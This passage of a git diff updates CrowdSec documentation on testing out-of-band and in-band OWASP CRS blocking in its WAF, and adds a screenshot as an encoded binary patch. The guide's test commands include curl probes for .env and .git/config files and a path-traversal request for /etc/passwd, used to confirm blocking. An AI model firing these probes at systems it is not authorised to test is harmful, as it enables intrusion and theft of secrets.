10, anomaly: 10, │ FR │ 5410 Bouygues Telecom SA │ │ 2025-09-09T14:51:11Z │ +│ 62422 │ Ip:xxx.xx.xx.xx │ anomaly score out-of-band: sql_injection: 10, anomaly: 10, │ FR │ 5410 Bouygues Telecom SA │ │ 2025-09-09T14:51:11Z │ +│ 62421 │ Ip:xxx.xx.xx.xx │ anomaly score out-of-band: sql_injection: 10, anomaly: 10, │ FR │ 5410 Bouygues Telecom SA │ │ 2025-09-09T14:51:11Z │ - +``` +
### Step 3: CRS In-band (Blocking Mode) @@ -197,7 +194,7 @@ Modify your acquisition to use the in-band CRS configuration: ```yaml title="/etc/crowdsec/acquis.d/appsec.yaml" appsec_configs: - - crowdsecurity/virtual-patching # Virtual patching rules (in-band blocking) + - crowdsecurity/appsec-default # Virtual patching rules (in-band blocking) - crowdsecurity/crs-inband # OWASP CRS rules (in-band blocking) labels: type: appsec @@ -221,7 +218,6 @@ Verify virtual patching continues to work: ```bash # These should still be immediately blocked curl -v "http://your-app.com/.env" -curl -v "http://your-app.com/.git/config" ``` Expected result: HTTP 403 Forbidden immediately. @@ -251,21 +247,6 @@ curl -v "$TARGET/?file=../../../etc/passwd" - **No delay**: Unlike out-of-band mode, blocking is instant - **Dual protection**: Both virtual patching AND CRS rules provide immediate blocking -**Verification Commands:** - -```bash -# Check for immediate decisions (should see blocks right after requests) -sudo cscli decisions list - -# Review alerts (should see both virtual patching and CRS alerts) -sudo cscli alerts list --limit 5 - -# Monitor real-time blocking -sudo tail -f /var/log/crowdsec.log -``` - - - :::warning Important Considerations In-band CRS blocking provides maximum protection but requires: - **Thorough testing** in a staging environment diff --git a/crowdsec-docs/static/img/console-appsec-oob.png b/crowdsec-docs/static/img/console-appsec-oob.png new file mode 100644 index 0000000000000000000000000000000000000000..73d0e00cc4588e1468feb019952e7d05f7be8cf1 GIT binary patch literal 41826 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 